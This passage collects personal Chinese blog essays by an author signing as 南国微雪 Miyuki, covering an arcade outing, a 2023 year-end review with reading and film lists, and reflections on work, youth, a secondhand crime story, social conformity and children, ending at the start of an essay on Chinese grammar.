　　“真的没关系啦，没人会看的，你看现在在这的就只有我们两个，要是待会儿有人来了，我负责吸引火力好不好？”我说。

　　“给我个机会嘛，试一下，就试一下就好。”这次是我来央求她了。

　　到这个时候，前面那个小女孩，依然在玩着跳舞机。

　　我们等她等了很久，终于我忍不住上去和她谈判了。

　　我们站了上去，又不知道怎么操作面板，我便又尴尬地把那个小女孩叫回来“贿赂”了一下。

　　“教一下我们怎么操作好不好？”我看着她的眼睛，往她的手心里放了两枚游戏币。

　　小女孩点点头。

　　我们投币。

　　小女孩点进经典模式。

　　我学习。

　　小女孩点进情侣模式。

　　我狂晕。

　　讲真的，那一瞬间我不敢看灵，也不知道她什么反应什么表情。

　　之前小女孩选曲的时候，我准备选《ECHO》，但是这个模式下的曲库好像完全不一样。

　　我只记得我们一共跳了四次，只记得一首曲子：《告白气球》。太经典了。还有一首好像是《Me Love You》，其他两首完全没有印象了。

　　三币一局，我们开始投了六枚。完了之后续币，得重新从主页进去。我看着面板的选项有些眼花缭乱，隐约记得好像点到经典模式。

　　“下一步好像是这个吧？”灵替我点进了那个模式。

　　当时我侧过脸去看她，她一直盯着屏幕，很专注的样子，没什么表情。

　　还好还好。

　　不过我还是想给自己翻个白眼，队友都不在意，你在意个鬼，一副花痴样。

　　回头看，小女孩已经不见了。

　　“不行不行，这里风水不好，我俩换一下位置。”我一把把灵拽过来，然后自己又跑到她的位置上去。

　　“嘿呦，我倒要看看哪边的风水好。”某人笑。

　　第三局以两个菜鸡把血掉光了而告终，曲子甚至都没放完。

　　“看来你原来的位置，风水也不怎么好嘛。”有个坏蛋调侃得我面红耳赤。

　　选了第四首曲子，有 24 个 Combo，当时给我得意惨了，曲子一结束连忙跟她炫耀。

　　“挺能耐啊。”只得到了灵一个似笑非笑。

　　“跳热了？”我见她开始脱外套，揶揄。

　　“有一点。”她懒得理我。

　　手里还有一点币，可以去抓娃娃。灵径直往那边走。

　　而关于她怎样成功地抓起一只娃娃、某个笨蛋又怎样挑战她最后灰溜溜地战败而逃，这些事情便不再提起，有些伤痛，就让它埋在历史里吧。历史只会记得，有个人，对那个手下败将，在一边正大光明而又得意地偷笑。


　　电玩城外，萧瑟的冬风沿着扶梯一路往下，吹得人瑟瑟发抖。饶是商场里有着暖气，内外的温差，也不禁让人裹紧大衣。雨落早已失去淅沥的气势与干劲，只是微微地点着，让人有些明显感觉，又不至于落得难堪。

　　我嘱咐她穿上衣服，和她一道各撑起一把伞。她却将手套塞回我手中。那是我见她时，让她戴上的。手套露趾，不会影响她的指甲。

　　我们在逛超市的三楼时，曾聊起过美甲的话题。我说，原来自己完全接受不了美甲这种东西，直到高三都是。

　　“那现在呢？”她一边走着，一边鲜见地歪头看向我。

　　我知道她在这个时候，也很认真。因为或许关系到她的形象与看法。

　　“现在就无所谓了呀，好看就行。”我笑。

　　我也真心这样想。

　　而我最后说的那些话，也是真心的想法。

　　吃过晚饭，陪她一起等车。我打算看着她上车。等待期间，我注视着她。

　　“既然都到这个时候了，我就把最重要的话放在最后吧。”

　　“你说。”

　　“我一直说，我不是一个典型的男生。所以这些话可能别的男生不会说，因为社会对他们的期望就是隐忍坚强、不善言辞。但是我觉得这些话很重要。”

　　“什么？”

　　“有些人把你看的很重要。并且这些人还不是你的亲人。那些人希望你能开心，能有一个好的未来，这些对他们来说，是很重要的事情。”

　　“……”

　　“怎么说呢，这些话确实可能很明显，但是如果没有人提醒的话，很容易忽略，”有人为了缓和尴尬和严肃的气氛，笑出声，“你看，如果不提醒的话，某个人下班之后天天都觉得，啊，怎么没人找我玩，我是不是没人爱没人喜欢这样。”

　　两人都笑。

　　雨，恢复了原来的气势，抖擞地下了起来。

　　我们零言碎语之中，车到了。

　　我打开车门，让她到伞下。灵收了伞，坐进车里。

　　“这个给你。”她拿出一个塑料包装的卡片装物品，但是很厚。

　　“欸，这是什么？”

　　“给你的礼物。”

　　我愕然。

　　手里，厚厚的一沓浙江大学明信片。那是她待了五年的地方，并且，还未结束。


　　我目送着灵远去，给她发消息，让她注意安全。

　　她应了，却和我说，司机要她加钱，语气强硬。我那一瞬间怒火中烧，觉得很不公平。问她之后什么情况。

　　她说，她的票是在平台上买的，她让司机自己和平台协商。

　　“居然要我加钱，说什么是夜班，关我什么事。”

　　我让她将司机电话发我一下，她问我干什么，我没回答，她说没事，有问题叫我。

　　“好，那一定记得，千万保护好自己，安全第一。”

　　“嗯。”

　　所幸，最后没出什么大事，安全到家。


　　收到这条消息的时候，我正在回单位的路上，路途遥远。

　　她说她已经到家了。

　　我放下心。

　　借着雨夜里，那昏黄的路灯，我那一刹那忽然明白了些什么。

　　有些人把灵看得很重要，并且特别提到了这件事，想让对方安心。但是，那些人足够笨拙，等到很晚的时候才醒悟。

　　灵也把那些人看得比较重要。重要程度不必比较，因为没有意义。一切都在雨水里不言自明。

　　而那些人也足够幸运，只见到了灵温柔的一面。她能分清事件与对象，知道该对哪些人强硬与冷漠，又对哪些人露出温和与笑容。


　　这次赴约并不特殊，像以前很多次那样，双方习以为常，但双方也对每一次都很珍惜。

　　所以，每一次都很幸运。

　　也因此，每一次都饱含感情。


　　我将伞往后倾了倾，看着昏黄路灯下显出的密集雨丝。

　　“虽然下雨，很多事情不能做，但下雨似乎也没那么糟糕呢。”我想。


　　南国微雪 Miyuki

　　2024 年 1 月 28 日

写在后面

　　谨记 参工后第一次与旧友赴约

　　谨纪 参工后第一次重拾生活热情

封面图

模特 | zhouhl

摄影师 | 南国微雪

图源 | 生活

新征程的开始，也或许是结束 - 2023 年度总结

写在前面

2845 字 | 年度总结 | 工作 | 情感 | 心理状态 | 成就 | 生活改变

正文

一

　　本科毕业被惯坏的我，七月份一脚踏入社会。社会予人的压力，与人需要达到的韧性，超乎我的想象。

　　《杀死一只知更鸟》中说：“你永远也不可能真正了解一个人，除非你穿上他的鞋子走来走去，站在他的角度思考问题。可当你真正走过他走过的路时，你连路过都会觉得难过。有时候你所看到的，并非事实真相，你了解的，不过是浮在水面上的冰山一角。”我看到这时，想起了另一句话：“我们费了天大的努力，才终于成为普通人。”

　　当我变成一个普通的打工人，才发现普通的打工人曾经也受过高等教育，有着精彩的生活。谁当初没有鸿鹄壮志呢？梦想着改变世界，然后淹没在芸芸众生中。

　　社会的本质是交换。我或许很早就意识到这一点，但一直不愿意承认，如一个孩子般，总是抱有幻想。不想工作、不愿交际、讨厌应酬、只知索取不知付出。仍然幻想着社会能够接受我：“表达者红利”不那样明显，利益牵扯也不那么深入人心。

　　个体心理学强调，现实生活的很大一部分结局，都是自我内心投射的结果，即“我们选择了这样做”。马哲也声明：环境和主观能动性相互影响，相互依存。但无论心理学与哲学怎样对抗，主观的自我都对环境有着莫大的影响。

　　我无数次地问自己：“这条路我走错了吗？”

　　没有答案。

　　没读研，我后悔吗？

　　我不知道。

　　研究生的朋友们，不比我们舒服到哪里去。珍坦言说：“HIT 只让我感受到了学术的冰冷。”

　　饶是如此，我还是很羡慕他们能继续待在学校里。学校与社会，两个世界。


二

　　上半年，我仍然是个学生。

　　我曾一直认为，我的每个人生阶段，都如烟花一般。最后时刻才美丽而绚烂。

　　六月之前，我与他们一起表演，一起聚餐，一起开趴，一起熬夜聊天，烦恼他们的情情爱爱。轰轰烈烈的毕业旅行，意料之外的毕业花束。

　　那些时间珍贵，珍贵到与后面上班的日子反差巨大。恍如隔世。

　　有时候我在想，这一年里 5669 张照片和视频，有多少是工作之后拍的呢？似乎不到 1/10。

　　学生时代的时间，如满山遍野的花朵一样，美丽又绚烂。

　　转眼，雕栏玉砌朱颜改。


三

　　“你有过想了结生命的想法吗？”

　　“不，我老怕死了，一秒都不想少活。”我笑。

　　“我本想这个冬日就去死的，可最近拿到一套鼠灰色细条纹的麻质和服，是适合夏天穿的和服，所以我还是先活到夏天吧。”（太宰治《叶》）

　　我曾说，父母一直在寻找一个盼头，而我亦如此。只是这个盼头并不具体，但它足够强大，支撑起我所有的动力。

　　我还有那么多的事情没做，那么多的领域没有了解，那么多帅气的舞蹈没看，我不能死。

　　明年是《黑神话：悟空》，后年是家那边的隧道通车，外年是工作调回市里。

　　我还有那么多医学书没有看，五幅插画的梦想清单还没有完成，一直等着去北海道和巴黎，和朋友再来几次拥抱都不够，KOD 的国战和 1 on 1 决赛永远都让人期待。

　　想给喜欢的人梳头发，想跟朋友玩《Broforce》笑到岔气，想给女朋友化妆，用老古董的 SONY A6000 配个镜头拍她的美照和表情包，然后看着她开心或生闷气。

　　我希望了解更多领域，想要好奇地追寻真理和世界背后的运行逻辑。

　　所以我不会死。至少，不会轻易了结自己的生命。


四

　　诚然，工作动摇了我的生活，让时间与精力极速下降。曾有过怀疑与动摇，但我依然相信明天的太阳。

　　我不清楚背后的信念是什么，但也无需知晓。我只要带着它给我的力量，去完成一个又一个计划、目标和梦想，这就足够了。

　　2023 年 2 月 26 日，拥有人生中第一台相机；

　　2023 年 5 月 18 日，第一次进行跨省的毕业旅行，去见重要的那些人，第一次坐飞机；

　　2023 年 5 月 19 日，第一次看见真正的大海；

　　2023 年 6 月 7 日，毕业，拍了人生中最喜欢的一张大合照；

　　2023 年 6 月 14 日，第一次跑完半程马拉松；

　　2023 年 8 月 5 日，排版器正式部署上线运行；

　　2023 年 9 月 10 日，收获第一个街舞学生；

　　2023 年 11 月 21 日，写出了人生中第一首歌。

　　自学了管理学，每年我都会为自己订制一个年度计划。2023 年的计划，五项只完成了两项，另外三项任务太过艰巨。2024 年的计划已经拟定完成，但愿在接下来的这一年里，天遂人愿。


五

　　参加工作确乎是新征程。而结束，完全取决于自己。

　　工作仅仅是工作，并非生活。

　　2023 年上半年，我忠于朋友，忠于生活；而下半年，全被工作占据。

　　工作是新征程的开始，而若当我发现它影响了我的健康，它也可以是结束。

　　绝不留情。

　　任何人对于生活的热忱，永不应被磨灭。


　　南国微雪 Miyuki

　　2023 年 12 月 30 日

写在后面

2023 年已读书目记录（24 本）

  1. 强风吹拂 - [日]三浦紫苑(三浦しをん)- <2022.12.7-2023.1.3>
  2. 时间简史 - [英]史蒂芬·霍金(Stephen Hawking)- <2023.1.5-2023.1.26>
  3. (漫画) 半小时漫画预防常见病 - 陈磊·半小时漫画团队 - <2023.1.27-2023.2.3>
  4. (漫画) 半小时漫画宇宙大爆炸 - 陈磊·半小时漫画团队 - <2023.2.3>
  5. (漫画) 半小时漫画经济学 4：理财篇 - 陈磊·半小时漫画团队 - <2023.2.3>
  6. ⭐️焦虑的人 - [瑞典]弗雷德里克·贝克曼(Fredrik Backman)(注：翻译腔但剧情好) - <2023.1.27-2023.2.11>
  7. 我与地坛 - 史铁生 - <2023.4.12-2023.5.3>
  8. 心电图图解速成讲授 - 王建华，杨守仁，赵晓梅，王立斌，韩国栋 - <2023.6.16-2023.6.19>
  9. 薄世宁医学通识讲义 - 薄世宁 - <2023.6.14-2023.6.22>
  10. 基本乐理教程 - 童忠良 - <2023.7.9>
  11. 众病之王：癌症传 - [美]悉达多·穆克吉(Siddhartha Mukherjee) - <2023.6.27-2023.7.14>
  12. 小狗钱钱 - [德]博多·舍费尔 - <2023.9.3-2023.9.8>
  13. 乌合之众 - [法]古斯塔夫·勒庞(Gustave Le Bon) - <2023.9.11-2023.9.22>
  14. 打开一颗心 - [英]斯蒂芬·韦斯塔比 - <2023.10.4-2023.10.17>
  15. 雪国 - [日]川端康成 - <2023.10.20-2023.10.22>
  16. 力哥说理财：手把手教你玩转基金 - 邢力 - <2023.10.29-2023.11.5>
  17. 曼昆经济学原理：宏观经济学分册 - [美]曼昆(N. Gregory Mankiw) - <2022.1.24-2022.2.21+2023.9.14-2023.11.7>
  18. 力哥说理财：小白理财入门必修课 - 邢力 - <2023.11.8-2023.11.13>
  19. 蛤蟆先生去看心理医生 - [英]罗伯特·戴博德 - <2023.11.14-2023.11.17>
  20. 选择做富人 - 徐建明 - <2023.11.24-2023.11.28>
  21. 徐建明谈理财：观念决定一生的财富 - 徐建明 - <2023.12.3-2023.12.5>
  22. 一小时搞定全家保险 - 陈铜 - <2023.12.10-2023.12.18>
  23. 你不懂内衣 - 于晓丹 - <2023.12.20-2023.12.24>
  24. 洞见 - [美]罗伯特·赖特 - <2023.10.22-2023.12.28>

2023 年观影记录（15 部）

  1. 闻香识女人（Scent of a Woman）
  2. 指环王 1：护戒使者（The Lord of the Rings: The Fellowship of the Ring）
  3. 绿皮书（Green Book）
  4. 大话西游之月光宝盒（A Chinese Odyssey Part 1 - Pandora's Box）
  5. 让子弹飞（Let the Bullets Fly）
  6. 大话西游之大圣娶亲（A Chinese Odyssey Part 2 - Cinderella）
  7. 流浪地球 2（The Wandering Earth 2）
  8. 泰坦尼克号（Titanic）
  9. 我想吃掉你的胰脏（君の膵臓をたべたい）
  10. 情书（Love Letter・ラヴレター）【已阅读小说】
  11. 坚如磐石（Under the Light）
  12. 指环王 2：双塔奇兵（The Lord of the Rings: The Two Towers）
  13. 江户川柯南：黑铁的鱼影（名探偵コナン：黒鉄の魚影）
  14. 西游记之大圣归来（Monkey King: Hero Is Back）
  15. 指环王 3：王者归来（The Lord of the Rings: The Return of the King）

封面图

摄影师 | Kajetan Sumila

图源 | Unsplash

自我反省之一

写在前面

681 字 | 自我反省

正文

　　参加工作之后，变了许多。

　　当初创立这个频道的初衷，是希望带来幸福，快乐，宁静与和平；是希望能给予众订阅者一个观察别人的视角，一个真实的视角，而非新闻编辑那样精心修饰，刻意暴露或故意隐藏的视角。

　　这个初衷从未变过，甚至形成了以“自我”和“感受”为核心的文风及用语风格。

　　但我似乎开始变了。

　　初中开始就一直害怕工作，害怕进入社会。

　　如今，我进到了这辆车里。听着后面或大声斥骂、或小声恫吓、或精心算计的声音，在偏离初衷的这条路上，一路狂飙。刹车有时不在我手里。油门有时候被社会与群体踩着。

　　进入社会之前，我已经将期待压降到了一个极低的值。饶是如此，我还是太乐观了。

　　话术陷阱，精心算计，妄加揣测，权力施压，故作冷漠，无理取闹，攻击欲望，站边站队，“为了你好”等等等等，都比我想象中复杂得多。

　　多数时候因为这些，需要一边甩锅一边干活儿，人真的很暴躁。

　　在校园的时候，我曾想象过自己不再敏感，充满钝感的样子，觉得那个时候自己会变得有韧性许多。如今已经这样了，却觉得自己并没有变得韧性和幸福，反而失去了那时候宝贵的感受力。

　　我想尝试着将其找回来。

　　出卖剩余价值的生活很枯燥，希望各位仍在校园里的孩子，能够珍惜这些闪闪发光的时间。

　　我尝试努力将以前的自己拉回来，融合到一起。

　　尝试着再去努力感受这个世界的美好，尝试着第一反应不去对抗和反驳而是赞同，尝试着控制“释放愤怒从而让别人言听计从”的欲望，尝试着变得表达清晰，沟通有效。

　　我希望自己能做到这些，也欢迎大家监督。

　　最后，诚挚地祝愿每位订阅者可以找到一份热爱的、能为之努力的工作。


　　南国微雪 Miyuki

　　2023 年 12 月 19 日

封面图

摄影师 | Nick Morrison

图源 | Unsplash

青春、时间与无数泛滥的感情

写在前面

2274 字 | 时间 | 经历 | 成长 | 高度自我表露 | 青春 | 感触 | 情感 | 见闻

正文

　　这篇文章是极度感性下的乱笔之作。虽标题这样写，但并未拟定一个明确的主题。我所做的，只是观察，感受与记录。

　　我一直在其他县里工作。今天出差，地点家乡的县城。下班时很累，又饿，于是走在城中经典的美食街里。还是那些摊位，似乎从未变过。

　　我坐下，点了一碗清汤砂锅米线，恍惚一瞬间回到八九年前。

　　初中。2014 年。那时候没有抖音，没有移动支付，没有公交车，一根小布丁五毛钱，似乎日子一直过得那样散漫。

　　我们是初中的第一批住校生，12 个人大通铺，意外地每个人关系都很好。热水要去宿管阿姨那里打，一壶五毛钱，路上会路过女生宿舍，每次都拼尽全力忍住羞耻。洗手间是学校的大公共卫生间，要走两百米远。冬天晚上很冷，学校的路灯痴痴地闪着，让人只想窝在宿舍里。学校不关门，因为总共就 70 多个住校生，没有必要。

　　一位室友说，美食街的砂锅米线很好吃，于是我们光明正大地溜出去。

　　那时候也是，小摊就在路边，食材摆在外面，周围是各式各样的霓虹。招呼声，谈笑声，煮串的热气直扑过路人的脸。路上还有小摊的电线和塑胶凳子。

　　那时候我并不懂什么叫烟火气。

　　我们坐下，各自煮一碗砂锅米线。他红汤，我清汤。红汤的荤菜是带骨的肉，而清汤是肉丸。清汤里还有白菜，番茄，海带，虾米和豌豆尖，很鲜。有人尝了一口，啧啧嘴，幽怨地说：“早知道不点红汤了，一点都不能喝。”清汤人都笑，红汤人都怨。

　　那时候，一碗砂锅米线 8 块钱，我两三天的生活费。我觉得那是人间最高的美味。

　　一声“米线好了”将我从恍惚中拉回来。问了一下价格，12 块。

　　“老板，能充个电吗？手机没电了。”我问。

　　老板四处张望，带着我走到几步路远的一家鞋店里，指着插座说：“充吧，放那儿就行。”

　　我惊奇他之随意。

　　“这个店也是你们的吗？”

　　“不是啊，”老板爽朗地笑一声，“充嘛，这有什么，待会儿我来说。”

　　看来鞋店老板和排档老板关系挺好。

　　我经常跟老板们提一些奇怪的需求，充电还好。工作地的周日，我常常要求饭店的厨师炒一盘肉丝盖饭，但是素菜部分什么都加一点。好几个老板都第一次听到这种要求，甚为诧异，很多都说，土豆肉丝就是土豆肉丝，不能随便混。但有一位厨师愿意为我试试：最后是芹菜、土豆丝、蒜苔和胡萝卜丝的混合肉丝盖饭。看起来很奇怪。

　　那顿我吃得很香。

　　我一直觉得这世间还是有很多好人。只要不过分，他们愿意抱着最大的善意，满足你，招待你。

　　我将手机放在商品鞋上，吃饭。

　　米线味道依然鲜美，只是我身边再无他人陪伴。 冬天的寒风吹过，吹起扔在桌上的政府文件，吹起烫食材的阵阵热气。 那些冬天里的温暖热气，被风拉得很长，像是人们悠悠的思绪，迅速弥散在空气里。

　　吃到一半，看见一个学生和她的母亲。学生的衣服我很熟悉，因为那枚校徽曾经绽放在我身上。

　　她母亲说回去了，她靠在我的餐桌前，定定地望着那些食材。母亲跨坐在三轮车上叫她。她依依不舍地离开。

　　家庭环境也好，教育经历也罢，一切都跟我那么相像。

　　那一瞬间我有种冲动，嗫嚅着想说些什么。想了想，大概只有四个字：好好读书。叹了口气，目送着她远去。

　　我十分羡慕她。她处在最美的年纪。明确的目标，共同奋斗的人，倾诉打闹的朋友，大把大把的时间。

　　虽然没有钱，但学生时代真心是人生最快乐的时间。而且，正青春。热情洋溢，活力无限。虽然上课睡觉，但未来总觉一片光明。

　　难以想象，四年之前，我和她一样，仍然在为那个明确的目标全力奋斗备考。

　　更难以想象，四五个月前，我也还是个学生。并且觉得，人生中最快乐的时间，就是现在。

　　仅仅四五个月。

　　工作的这四个月，那样漫长，长到我可以来 15 次毕业旅行，可以进行 120 次成都往返。

　　我觉得工作的这四个月，每天都在荒废。读书的每一天，都闪烁着金灿灿的意义。

　　人生的每个阶段，开始和结束之时，我都有给自己写信的习惯。寄给过去或者未来。然而，时间线我最高只拉到五年。

　　有一首歌，叫做《Letter Song》，中文译名《致十年后的我》。我曾一边看着歌词，一边黯然。

　　我曾经听到的多数话题，是题目、番剧、恋爱、考试与篮球；而现在，是孩子、工作、结婚、项目与存款。

　　十年太长。我不敢。

　　如果说，有什么进入社会之后才懂得的道理，在我这里只有一条：世界上有绝对的忠诚与信任。

　　我曾经顶撞那些珍惜我并爱着我的人，直到今天我成为他们。

　　我看着那名青春的少女，看着她跨坐在三轮车上的母亲，看着桌子上的政府文件，看着跨越九年的砂锅米线，看着如大排档热气般消散的时间。

　　我想着，这次一定要给父母一个拥抱。

　　很多事情，必须踏出第一步。而这次回家之后，我尝试张开双臂。

　　和母亲抱过之后，父亲在拥抱时对我小声说了一句：“儿子懂事了。”

　　那一刹那，眼眶一红。

　　我感激那个，曾经骑着摩托车背对着我哭出声，却没有做任何傻事的父亲；

　　我感激那个，家庭纠纷即将一拍四散，警察调解无果后，忍住从窗户上一跃而下的自己；

　　我感激那个，备受邻居、祖辈和家族欺侮，却仍然心存善念的母亲；

　　我感激那个，教我知识、正义、选择与分辨能力的兄长；

　　我感激那些熬夜陪伴，给予我力量的朋友们；

　　我感激所有爱过我的人。

　　谢天谢地，我熬过来了。

　　人生的每个阶段都很苦，我尝试在其中找出一些发着光的东西，它们值得让人闭上眼睛，牢牢地握在手心里。

　　《舌尖上的中国 2》一经播出，招惹无数批评，许多人认为它想表达的东西太多，没有第一季纯粹：没有主题，只有空泛而缥缈的人文关怀。

　　如果说舌尖二还有一个特定的、关于美食的主题，那么这篇文章就只是想讲一个故事。

　　一个陌生人的故事。一个工作疲倦后感情泛滥的故事。一个时间的故事。

　　愿这些泛滥而杂乱的思绪，能带来一丝触动。

　　陌生人要睡了。

　　晚安，好梦。


　　南国微雪 Miyuki

　　2023 年 12 月 8 日

封面图

摄影师 | Gustavo Zambelli

图源 | Unsplash

深埋黑暗里，无人问津

写在前面

995 字 | 争议 | 黑暗 | 社会 | 两面

正文

　　这是从父母那里听来的故事。

　　一个单身汉，做些手艺活儿和农活儿糊口，也没什么亲近的人，一个人住。

　　酒过三巡，兴致上头，他大声嚷嚷：“妈的，要我说，共产党毬用没有，死个人都查不出来。”

　　席客好奇，要求细说。

　　他一股酒气，那件事抖落出来。

　　七八年前，他上山干农活儿。附近有个年轻女人，一个人。他认识，附近村里的。恰好当时他单身久了，于是一股歹心起。

　　他趁女人不注意，从身后扑倒。女人奋力抵抗，但他身体壮如牛，骑在她身上，她动弹不得。

　　他扒了衣服，强奸了那个女人。为了防止惹祸上身，男人直接掐死了她。找了附近一个堰塘，很深，但能看见底，丢了进去。还搬了几块石头，沉下去。

　　人们遂了他的意，都认为她是跌进去淹死的。

　　这一瞒，就是七八年。

　　说者无意，听者有心，报了警。判刑进狱，五年。

　　也才五年。

　　父母给我讲这个故事，初衷是为了让我不要抗拒应酬，既然不喝酒，说不定能听到什么惊天秘密。但我听后有些难过。

　　那人被埋在黑暗里七八年，无人问津。死人也不能说话，证明自己的冤屈。

　　我想起那些只为了惩罚别人而甘愿殒命的人们。他们往往都希望自己的死亡，能引起痛恨之人莫大的痛苦，能引起惊涛骇浪让全社会反思。然而，不如意十之八九，往往只掀起一丝波澜，然后平静如初。只留下自己，永远留在黑暗里。更甚者，仇家快，人们笑，只做荒唐事，沦为饭后闲谈。

　　名声如何，不重要。重要的是有人踏上了最终极的道路，死亡。

　　如果不是这一场酒，或许那个女人永远埋在黑暗里，人们永远得不到真相。

　　这才是最恐怖的事情。

　　争论迟到的正义还是不是正义，没有意义，因为它没办法拯救一个具体的黑暗中的人。

　　刘慈欣有一篇短篇小说《镜子》，讲述人们最终获得了一个镜像软件，从古至今所有事情，真相大白，任何时间什么人做了哪些事情，都可以看见。

　　“伟大的镜像时代将到来，全人类将面对着一面镜子，每个人的一举一动都能在镜像中精确地查到，没有任何罪行可以隐藏，每一个有罪之人，都不可避免地面临最后审判，那是没有黑暗的时代，阳光将普照到每个角落，人类社会将变得水晶般纯洁。”

　　这样的世界应该是最完美的了吧。

　　然而《镜子》的最终结局是人类文明灭亡。因为从那之后，人们做事畏首畏尾，科学和技术停滞，自然资源耗尽，最后仍然没有移民宇宙的能力。

　　正义是什么？我想，让尽可能多的人不再深埋黑暗里，就是正义。

　　而这，大概是一个永恒难题吧。


　　南国微雪 Miyuki

　　2023 年 12 月 3 日

封面图

摄影师 | Cherry Laithang

图源 | Unsplash

社会正在复制人类

写在前面

1044 字 | 经历 | 感触 | 代沟 | 性格 | 思想

正文

　　中午加班，到达食堂已经很晚。因只我们两个人，于是阿姨闲聊说，她的孩子也在银行工作，但不想跟人打交道，甚至连行长的生日都不去。

　　“一点人情味都没有。”她抱怨说。

　　“对我们这一代人来说，很正常呀。”我笑着说。

　　“我总感觉不好。”她说。

　　我笑笑说：“我们这代人工作和生活分得很开。就像你说的人情味，下班之后有哪个同事跟你发消息呢？甚至看到同事的消息或者电话都害怕，准是安排事情来了。”

　　她笑，但不说话。

　　我其实多多少少理解老一辈人的想法：觉得公事公办很冰冷，没有缓冲的余地，硬着陆。人毕竟是感情动物。

　　“但一直这样，我总感觉她没融入社会。”她最后说。

　　我也笑，走向碗筷池的时候叹了一口气。

　　这个社会似乎正在复制人类，用一套名叫社会心理学的法则，把所有人们都变成乌合之众：它要求人们都一个样子。

　　社会发展得太快，老一辈的人和新一代的人之间，鸿沟如天堑。

　　晚上和兄长闲聊，聊到阿里的“破冰文化”。我不知道这是什么，听后大为震撼。

　　这种“文化”也是通过一种十分扭曲的方式，以达到新员工融入集体的目的。

　　它很可怕。听起来颇似纳粹集团想出来的制度。

　　二战的纳粹，以激进的种族主义和群体主义而出名。他们认为集体至高无上，任何人的自由都可以为了民族而磨灭。而战争后期的日本也倾向于如此。

　　晚上领导也教育我，要融入集体，要有作为银行人的一份意识。他说我内向，还说时常在观察我。

　　我当时真的很想笑，天天人都不到行里来，还能观察我。什么种类的望远镜和监控摄像头？

　　三件事情都谈到了“融入”一词，似乎我们只有融入了集体，才能有更好的选择、机会和未来。

　　然而，融入，并不等于相同。自从参加工作之后，我感受到， 似乎这个社会并不给内向的人活路：所有人都在劝人要活泼开朗、能言善辩、积极主动。

　　一个好的社会，应该是一个能人尽其能，物尽其用的社会，而非是一个让人委屈求全而全盘同质化的社会。

　　换句话说，它应该给予“不融入”这一个选项。

　　活泼开朗、能言善辩、积极主动，这是与内倾之人几乎完全对立的特点。要求内向的人拥有这种性格，不亚于要求一个先天性心脏病高血压的人，去参加世界田径锦标赛。

　　不止荒谬，而且可笑。

　　这个社会正在复制人类，我希望看到这里的人，不要被复制成一个样子。

　　钢铁洪流下的所谓“普适”思想，有着极强的传染性。请保持自己的意识，不要让自己的思想被完全覆盖。

　　朝着自己认为对的方向走，而不是大家认为对的方向。你终将获得内心的宁静，而非誉满全球后的深夜惊恐。


　　南国微雪 Miyuki

　　2023 年 12 月 2 日

封面图

摄影师 | Brett Jordan

图源 | Unsplash

失去作为孩子的资格

写在前面

1427 字 | 孩子 | 长大 | 感触 | 人际关系 | 经历 | 本性

正文

　　那天，我像往常一样，去街上跳舞。那个孩子也像以往一样，只是在一旁看。不过有什么地方不一样了。

　　以前，她只是远观，今天跑到我跟前来了。

　　这个大概五六岁的孩子，突然伸出手，跟我说：“这个，给你。”

　　我蹲下来，看着她手里半球状的小玩意，脑袋有些发蒙。

　　“这是什么呀？”我问。

　　“这是玩具！”她一本正经地跟我说。

　　我觉得有些好笑，但是看她一脸严肃的样子，又笑不出来。

　　“这个要怎么玩呀？”

　　“这样。”

　　她也蹲下来，用力旋转起那个她拇指大小的半球状玩具。

　　“你来。”她把玩具给我。

　　“我不玩。”我笑了笑。

　　我不知道这个孩子今天哪里来的勇气，跟我这个陌生人说了很多话。

　　我在热身时，她就一本正经地督促我：“快跳舞。”

　　“别急嘛，心急可吃不了热豆腐。”

　　她看我做动作，忽然想起什么，然后一边看着我，一边和我说：“我们陈老师也会这个动作。”然后掰着手指头，如数家珍地念着他们班同学的名字。听她说，那些孩子也会这个动作。

　　“你跟我说这些也没有用呀，我又不认识他们。”我笑。

　　她没理我。

　　过一会儿，又叮叮咚咚地跑到我面前，眼睛忽闪忽闪地问我：“哥哥，你会这个动作吗？”

　　“什么动作呀？”

　　她有模有样地踮起脚尖，在原地转了一个圈。

　　“我不会。”我笑着说。

　　“嘿嘿，我会。”她看起来很骄傲。


　　今天出差，去成都考试。考完和火车开点还有一段时间。遵循灵的意见，去了塔子山公园。

　　西门进去，就看见了无数的孩子。

　　每个孩子都笑着、闹着、追逐着。有的横眉竖眼地瞪着同伴，有的追逐着一个泡泡，有的坐在很大的气球上弹来弹去。

　　乐园一样的地方，天堂一样的地方。

　　孩子们见我举起相机也丝毫不刻意，仍旧自己玩乐，而大人们总是躲躲闪闪。有的孩子甚至跑过来看我在拍些什么，顺着镜头的方向看。

　　小孩子有时是天使，也时常化身恶魔。

　　哭起来有时怎么劝都不管用，有时一根棒棒糖又能收买。

　　高中后唯一一次见懿，恰好处于关系解冻的时候。那时候我鼓起勇气问她在哪里，想去找她玩。她说，她在一个商场陪她弟弟拼乐高。

　　我去见她时，她已经陪了她弟弟两三个小时了。

　　她弟弟很认真，在拼一个魔法少女小樱。我问她怎么是小樱，她笑说她也不知道，他就是喜欢。

　　我看着他弟弟专注的样子，那一瞬间竟有些羡慕。

　　我和懿一边闲聊，一边看着他惬意而慵懒地度过这个下午。他有时看不懂，便摇着懿的手问她怎么办。她便转过头看着示意图，耐心地教他。而这个时候我只是静静地看着他们。

　　孩子有时会给人一种，从大人那里得不到的安稳。 我觉得他们很幸福。

　　他中途去洗手间，懿让我跟着他，别出什么问题。我比了一个国际友好手势，翻了个白眼，跟过去。 就在他身后一两步的距离时，我听到他大喊一句：“我是男生！”然后选了左边的洗手间冲了进去。我当即笑出声。

　　孩子真的是很可爱的生物。

　　从塔子山公园回来，往成都东站赶路。路上，我和灵说，或许有个孩子确实是这个世界上最幸福的事情了。她说，你就是现在一个人觉得不好玩，等你真有孩子，说不定什么光景呢，小的时候可闹腾了，操不完的心。

　　我不知道她在屏幕那边什么表情，我只知道我在这边笑出声。

　　可能真的只是我太寂寞了吧。


　　整篇文章，我们都是讨论孩子如何如何，充满怀念与感慨，仿佛孩子是来自其他世界的馈赠。

　　孩子的世界，情绪是理所当然，天真也是人之本性，喜欢就是喜欢，讨厌就是讨厌，不会阳奉阴违，也不会虚情假意，相信别人是一种本能，欲望也并不羞耻。

　　现在一想，我们大约的确也失去了作为孩子的资格了。


　　南国微雪 Miyuki

　　2023 年 11 月 25 日

写在后面

　　公园里的附图。

封面图

摄影师 | Leo Rivas

图源 | Unsplash

论“是……的”

写在前面

1472 字 | 汉语 | 中文 | 遣词造句 | 翻译 | 杂文

正文

　　为数不多的杂文。

　　这篇文章诞生于一些译本之观后感，尤其是学术类的译作。绝大多数为了学术严谨，翻译得不成人样，其代表就是“是……的”句型。

